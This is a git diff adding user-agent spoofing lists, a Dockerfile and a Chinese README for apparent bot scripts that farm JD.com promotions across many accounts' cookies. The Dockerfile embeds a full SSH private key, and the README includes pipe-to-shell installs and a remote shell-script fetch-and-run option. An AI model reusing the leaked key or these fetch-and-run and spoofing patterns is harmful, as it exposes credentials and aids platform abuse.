'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/3.49;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/7;ads/;psn/9e0e0ea9c6801dfd53f2e50ffaa7f84c7b40cd15|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad7,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.14;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/3;ads/;psn/956c074c769cd2eeab2e36fca24ad4c9e469751a|8;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT +} diff --git a/USER_AGENTS.js b/USER_AGENTS.js new file mode 100644 index 0000000..fe9a8ed --- /dev/null +++ b/USER_AGENTS.js @@ -0,0 +1,51 @@ +const USER_AGENTS = [ + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.6;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.6;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.1.6;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.1.6;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.6;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.6;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT +} diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000..b4dfea7 --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,37 @@ +FROM node:lts-alpine3.12 + +LABEL AUTHOR="none" \ + VERSION=0.1.4 + +ARG KEY="-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAvRQk2oQqLB01iVnJKrnI3tTfJyEHzc2ULVor4vBrKKWOum4dbTeT\ndNWL5aS+CJso7scJT3BRq5fYVZcz5ra0MLMdQyFL1DdwurmzkhPYbwcNrJrB8abEPJ8ltS\nMoa0X9ecmSepaQFedZOZ2YeT/6AAXY+cc6xcwyuRVQ2ZJ3YIMBrRuVkF6nYwLyBLFegzhu\nJJeU5o53kfpbTCirwK0h9ZsYwbNbXYbWuJHmtl5tEBf2Hz+5eCkigXRq8EhRZlSnXfhPr2\n32VCb1A/gav2/YEaMPSibuBCzqVMVruP5D625XkxMdBdLqLBGWt7bCas7/zH2bf+q3zac4\nLcIFhkC6XwAAA9BjE3IGYxNyBgAAAAdzc2gtcnNhAAABAQC9FCTahCosHTWJWckqucje1N\n8nIQfNzZQtWivi8GsopY66bh1tN5N01YvlpL4ImyjuxwlPcFGrl9hVlzPmtrQwsx1DIUvU\nN3C6ubOSE9hvBw2smsHxpsQ8nyW1IyhrRf15yZJ6lpAV51k5nZh5P/oABdj5xzrFzDK5FV\nDZkndggwGtG5WQXqdjAvIEsV6DOG4kl5TmjneR+ltMKKvArSH1mxjBs1tdhta4kea2Xm0Q\nF/YfP7l4KSKBdGrwSFFmVKdd+E+vbfZUJvUD+Bq/b9gRow9KJu4ELOpUxWu4/kPrbleTEx\n0F0uosEZa3tsJqzv/MfZt/6rfNpzgtwgWGQLpfAAAAAwEAAQAAAQEAnMKZt22CBWcGHuUI\nytqTNmPoy2kwLim2I0+yOQm43k88oUZwMT+1ilUOEoveXgY+DpGIH4twusI+wt+EUVDC3e\nlyZlixpLV+SeFyhrbbZ1nCtYrtJutroRMVUTNf7GhvucwsHGS9+tr+96y4YDZxkBlJBfVu\nvdUJbLfGe0xamvE114QaZdbmKmtkHaMQJOUC6EFJI4JmSNLJTxNAXKIi3TUrS7HnsO3Xfv\nhDHElzSEewIC1smwLahS6zi2uwP1ih4fGpJJbU6FF/jMvHf/yByHDtdcuacuTcU798qT0q\nAaYlgMd9zrLC1OHMgSDcoz9/NQTi2AXGAdo4N+mnxPTHcQAAAIB5XCz1vYVwJ8bKqBelf1\nw7OlN0QDM4AUdHdzTB/mVrpMmAnCKV20fyA441NzQZe/52fMASUgNT1dQbIWCtDU2v1cP6\ncG8uyhJOK+AaFeDJ6NIk//d7o73HNxR+gCCGacleuZSEU6075Or2HVGHWweRYF9hbmDzZb\nCLw6NsYaP2uAAAAIEA3t1BpGHHek4rXNjl6d2pI9Pyp/PCYM43344J+f6Ndg3kX+y03Mgu\n06o33etzyNuDTslyZzcYUQqPMBuycsEb+o5CZPtNh+1klAVE3aDeHZE5N5HrJW3fkD4EZw\nmOUWnRj1RT2TsLwixB21EHVm7fh8Kys1d2ULw54LVmtv4+O3cAAACBANkw7XZaZ/xObHC9\n1PlT6vyWg9qHAmnjixDhqmXnS5Iu8TaKXhbXZFg8gvLgduGxH/sGwSEB5D6sImyY+DW/OF\nbmIVC4hwDUbCsTMsmTTTgyESwmuQ++JCh6f2Ams1vDKbi+nOVyqRvCrAHtlpaqSfv8hkjK\npBBqa/rO5yyYmeJZAAAAFHJvb3RAbmFzLmV2aW5lLnByZXNzAQIDBAUG\n-----END OPENSSH PRIVATE KEY-----" + +ENV DEFAULT_LIST_FILE=crontab_list.sh \ + CUSTOM_LIST_MERGE_TYPE=append \ + COOKIES_LIST=/scripts/logs/cookies.list \ + REPO_URL=git@gitee.com:lxk0301/jd_scripts.git \ + REPO_BRANCH=master + +RUN set -ex \ + && apk update \ + && apk upgrade \ + && apk add --no-cache bash tzdata git moreutils curl jq openssh-client \ + && rm -rf /var/cache/apk/* \ + && ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \ + && echo "Asia/Shanghai" > /etc/timezone \ + && mkdir -p /root/.ssh \ + && echo -e $KEY > /root/.ssh/id_rsa \ + && chmod 600 /root/.ssh/id_rsa \ + && ssh-keyscan gitee.com > /root/.ssh/known_hosts \ + && git clone -b $REPO_BRANCH $REPO_URL /scripts \ + && cd /scripts \ + && mkdir logs \ + && npm config set registry https://registry.npm.taobao.org \ + && npm install \ + && cp /scripts/docker/docker_entrypoint.sh /usr/local/bin \ + && chmod +x /usr/local/bin/docker_entrypoint.sh + +WORKDIR /scripts + +ENTRYPOINT ["docker_entrypoint.sh"] + +CMD [ "crond" ] \ No newline at end of file diff --git a/docker/Readme.md b/docker/Readme.md new file mode 100644 index 0000000..c216307 --- /dev/null +++ b/docker/Readme.md @@ -0,0 +1,264 @@ +![Docker Pulls](https://img.shields.io/docker/pulls/lxk0301/jd_scripts?style=for-the-badge) +### Usage +```diff ++ 2021-03-21更新 增加bot交互,spnode指令,功能是否开启自动根据你的配置判断,详见 https://gitee.com/lxk0301/jd_docker/pulls/18 + **bot交互启动前置条件为 配置telegram通知,并且未使用自己代理的 TG_API_HOST** + **spnode使用前置条件未启动bot交互** _(后续可能去掉该限制_ + 使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.conf即可 + 使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.conf的cookies执行脚本,定时任务也将自动替换为spnode命令执行 + 发送/spnode给bot获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js) + spnode功能概述示例 + spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发 + spnode 1 /scripts/jd_bean_change.js 为logs/cookies.conf文件里面第一行cookie账户单独执行jd_bean_change脚本 + spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.conf文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本 + spnode /scripts/jd_bean_change.js 为logs/cookies.conf所有cookies账户一起执行jd_bean_change脚本 + +**请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。** ++ 2021-03-9更新 新版docker单容器多账号自动互助 ++开启方式:docker-compose.yml 中添加环境变量 - ENABLE_AUTO_HELP=true ++助力原则:不考虑需要被助力次数与提供助力次数 假设有3个账号,则生成: ”助力码1@助力码2@助力码3&助力码1@助力码2@助力码3&助力码1@助力码2@助力码3“ ++原理说明:1、定时调用 /scripts/docker/auto_help.sh collect 收集各个活动的助力码,整理、去重、排序、保存到 /scripts/logs/sharecodeCollection.log; + 2、(由于linux进程限制,父进程无法获取子进程环境变量)在每次脚本运行前,在当前进程先调用 /scripts/docker/auto_help.sh export 把助力码注入到环境变量 + ++ 2021-02-21更新 https://gitee.com/lxk0301/jd_scripts仓库被迫私有,老用户重新更新一下镜像:https://hub.docker.com/r/lxk0301/jd_scripts)(docker-compose.yml的REPO_URL记得修改)后续可同步更新jd_script仓库最新脚本 ++ 2021-02-10更新 docker-compose里面,填写环境变量 SHARE_CODE_FILE=/scripts/logs/sharecode.log, 多账号可实现自己互助(只限sharecode.log日志里面几个活动),注:已停用,请使用2021-03-9更新 ++ 2021-01-22更新 CUSTOM_LIST_FILE 参数支持远程定时任务列表 (⚠️务必确认列表中的任务在仓库里存在) ++ 例1:配置远程crontab_list.sh, 此处借用 shylocks 大佬的定时任务列表, 本仓库不包含列表中的任务代码, 仅作示范 ++ CUSTOM_LIST_FILE=https://raw.githubusercontent.com/shylocks/Loon/main/docker/crontab_list.sh ++ ++ 例2:配置docker挂载本地定时任务列表, 用法不变, 注意volumes挂载 ++ volumes: ++ - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh ++ environment: ++ - CUSTOM_LIST_FILE=my_crontab_list.sh + + ++ 2021-01-21更新 增加 DO_NOT_RUN_SCRIPTS 参数配置不执行的脚本 ++ 例:DO_NOT_RUN_SCRIPTS=jd_family.js&jd_dreamFactory.js&jd_jxnc.js +建议填写完整文件名,不完整的文件名可能导致其他脚本被禁用。 +例如:“jd_joy”会匹配到“jd_joy_feedPets”、“jd_joy_reward”、“jd_joy_steal” + ++ 2021-01-03更新 增加 CUSTOM_SHELL_FILE 参数配置执行自定义shell脚本 ++ 例1:配置远程shell脚本, 我自己写了一个shell脚本https://raw.githubusercontent.com/iouAkira/someDockerfile/master/jd_scripts/shell_script_mod.sh 内容很简单下载惊喜农场并添加定时任务 ++ CUSTOM_SHELL_FILE=https://raw.githubusercontent.com/iouAkira/someDockerfile/master/jd_scripts/shell_script_mod.sh ++ ++ 例2:配置docker挂载本地自定义shell脚本,/scripts/docker/shell_script_mod.sh 为你在docker-compose.yml里面挂载到容器里面绝对路径 ++ CUSTOM_SHELL_FILE=/scripts/docker/shell_script_mod.sh ++ ++ tip:如果使用远程自定义,请保证网络畅通或者选择合适的国内仓库,例如有部分人的容器里面就下载不到github的raw文件,那就可以把自己的自定义shell写在gitee上,或者换本地挂载 ++ 如果是 docker 挂载本地,请保证文件挂载进去了,并且配置的是绝对路径。 ++ 自定义 shell 脚本里面如果要加 crontab 任务请使用 echo 追加到 /scripts/docker/merged_list_file.sh 里面否则不生效 ++ 注⚠️ 建议无shell能力的不要轻易使用,当然你可以找别人写好适配了这个docker镜像的脚本直接远程配置 ++ 上面写了这么多如果还看不懂,不建议使用该变量功能。 +_____ +! ⚠️⚠️⚠️2020-12-11更新镜像启动方式,虽然兼容旧版的运行启动方式,但是强烈建议更新镜像和配置后使用 +! 更新后`command:`指令配置不再需要 +! 更新后可以使用自定义任务文件追加在默任务文件之后,比以前的完全覆盖多一个选择 +! - 新的自定两个环境变量为 `CUSTOM_LIST_MERGE_TYPE`:自定文件的生效方式可选值为`append`,`overwrite`默认为`append` ; `CUSTOM_LIST_FILE`: 自定义文件的名字 +! 更新镜像增减镜像更新通知,以后镜像如果更新之后,会通知用户更新 +``` +> 推荐使用`docker-compose`所以这里只介绍`docker-compose`使用方式 + + + +Docker安装 + +- 国内一键安装 `sudo curl -sSL https://get.daocloud.io/docker | sh` +- 国外一键安装 `sudo curl -sSL get.docker.com | sh` +- 北京外国语大学开源软件镜像站 `https://mirrors.bfsu.edu.cn/help/docker-ce/` + + +docker-compose 安装(群晖`nas docker`自带安装了`docker-compose`) + +``` +sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose +sudo chmod +x /usr/local/bin/docker-compose +``` +`Ubuntu`用户快速安装`docker-compose` +``` +sudo apt-get update && sudo apt-get install -y python3-pip curl vim git moreutils +pip3 install --upgrade pip +pip install docker-compose +``` + +### win10用户下载安装[docker desktop](https://www.docker.com/products/docker-desktop) + +通过`docker-compose version`查看`docker-compose`版本,确认是否安装成功。 + + +### 如果需要使用 docker 多个账户独立并发执行定时任务,[参考这里](./example/docker%E5%A4%9A%E8%B4%A6%E6%88%B7%E4%BD%BF%E7%94%A8%E7%8B%AC%E7%AB%8B%E5%AE%B9%E5%99%A8%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E.md#%E4%BD%BF%E7%94%A8%E6%AD%A4%E6%96%B9%E5%BC%8F%E8%AF%B7%E5%85%88%E7%90%86%E8%A7%A3%E5%AD%A6%E4%BC%9A%E4%BD%BF%E7%94%A8docker%E5%8A%9E%E6%B3%95%E4%B8%80%E7%9A%84%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F) + +> 注⚠️:前提先理解学会使用这下面的教程 +### 创建一个目录`jd_scripts`用于存放备份配置等数据,迁移重装的时候只需要备份整个jd_scripts目录即可 +需要新建的目录文件结构参考如下: +``` +jd_scripts +├── logs +│   ├── XXXX.log +│   └── XXXX.log +├── my_crontab_list.sh +└── docker-compose.yml +``` +- `jd_scripts/logs`建一个空文件夹就行 +- `jd_scripts/docker-compose.yml` 参考内容如下(自己动手能力不行搞不定请使用默认配置): +- - [使用默认配置用这个](./example/default.yml) +- - [使用自定义任务追加到默认任务之后用这个](./example/custom-append.yml) +- - [使用自定义任务覆盖默认任务用这个](./example/custom-overwrite.yml) +- - [一次启动多容器并发用这个](./example/multi.yml) +- - [使用群晖默认配置用这个](./example/jd_scripts.syno.json) +- - [使用群晖自定义任务追加到默认任务之后用这个](./example/jd_scripts.custom-append.syno.json) +- - [使用群晖自定义任务覆盖默认任务用这个](./example/jd_scripts.custom-overwrite.syno.json) +- `jd_scripts/docker-compose.yml`里面的环境变量(`environment:`)配置[参考这里](../githubAction.md#互助码类环境变量) 和[本文末尾](../docker/Readme.md#docker专属环境变量) + + +- `jd_scripts/my_crontab_list.sh` 参考内容如下,自己根据需要调整增加删除,不熟悉用户推荐使用[默认配置](./crontab_list.sh)里面的内容: + +```shell +# 每3天的23:50分清理一次日志(互助码不清理,proc_file.sh对该文件进行了去重) +50 23 */3 * * find /scripts/logs -name '*.log' | grep -v 'sharecode' | xargs rm -rf + +##############短期活动############## +# 小鸽有礼2(活动时间:2021年1月28日~2021年2月28日) +34 9 * * * node /scripts/jd_xgyl.js >> /scripts/logs/jd_jd_xgyl.log 2>&1 + +#女装盲盒 活动时间:2021-2-19至2021-2-25 +5 7,23 19-25 2 * node /scripts/jd_nzmh.js >> /scripts/logs/jd_nzmh.log 2>&1 + +#京东极速版天天领红包 活动时间:2021-1-18至2021-3-3 +5 0,23 * * * node /scripts/jd_speed_redpocke.js >> /scripts/logs/jd_speed_redpocke.log 2>&1 +##############长期活动############## +# 签到 +3 0,18 * * * cd /scripts && node jd_bean_sign.js >> /scripts/logs/jd_bean_sign.log 2>&1 +# 东东超市兑换奖品 +0,30 0 * * * node /scripts/jd_blueCoin.js >> /scripts/logs/jd_blueCoin.log 2>&1 +# 摇京豆 +0 0 * * * node /scripts/jd_club_lottery.js >> /scripts/logs/jd_club_lottery.log 2>&1 +# 东东农场 +5 6-18/6 * * * node /scripts/jd_fruit.js >> /scripts/logs/jd_fruit.log 2>&1 +# 宠汪汪 +15 */2 * * * node /scripts/jd_joy.js >> /scripts/logs/jd_joy.log 2>&1 +# 宠汪汪喂食 +15 */1 * * * node /scripts/jd_joy_feedPets.js >> /scripts/logs/jd_joy_feedPets.log 2>&1 +# 宠汪汪偷好友积分与狗粮 +13 0-21/3 * * * node /scripts/jd_joy_steal.js >> /scripts/logs/jd_joy_steal.log 2>&1 +# 摇钱树 +0 */2 * * * node /scripts/jd_moneyTree.js >> /scripts/logs/jd_moneyTree.log 2>&1 +# 东东萌宠 +5 6-18/6 * * * node /scripts/jd_pet.js >> /scripts/logs/jd_pet.log 2>&1 +# 京东种豆得豆 +0 7-22/1 * * * node /scripts/jd_plantBean.js >> /scripts/logs/jd_plantBean.log 2>&1 +# 京东全民开红包 +1 1 * * * node /scripts/jd_redPacket.js >> /scripts/logs/jd_redPacket.log 2>&1 +# 进店领豆 +10 0 * * * node /scripts/jd_shop.js >> /scripts/logs/jd_shop.log 2>&1 +# 京东天天加速 +8 */3 * * * node /scripts/jd_speed.js >> /scripts/logs/jd_speed.log 2>&1 +# 东东超市 +11 1-23/5 * * * node /scripts/jd_superMarket.js >> /scripts/logs/jd_superMarket.log 2>&1 +# 取关京东店铺商品 +55 23 * * * node /scripts/jd_unsubscribe.js >> /scripts/logs/jd_unsubscribe.log 2>&1 +# 京豆变动通知 +0 10 * * * node /scripts/jd_bean_change.js >> /scripts/logs/jd_bean_change.log 2>&1 +# 京东抽奖机 +11 1 * * * node /scripts/jd_lotteryMachine.js >> /scripts/logs/jd_lotteryMachine.log 2>&1 +# 京东排行榜 +11 9 * * * node /scripts/jd_rankingList.js >> /scripts/logs/jd_rankingList.log 2>&1 +# 天天提鹅 +18 * * * * node /scripts/jd_daily_egg.js >> /scripts/logs/jd_daily_egg.log 2>&1 +# 金融养猪 +12 * * * * node /scripts/jd_pigPet.js >> /scripts/logs/jd_pigPet.log 2>&1 +# 点点券 +20 0,20 * * * node /scripts/jd_necklace.js >> /scripts/logs/jd_necklace.log 2>&1 +# 京喜工厂 +20 * * * * node /scripts/jd_dreamFactory.js >> /scripts/logs/jd_dreamFactory.log 2>&1 +# 东东小窝 +16 6,23 * * * node /scripts/jd_small_home.js >> /scripts/logs/jd_small_home.log 2>&1 +# 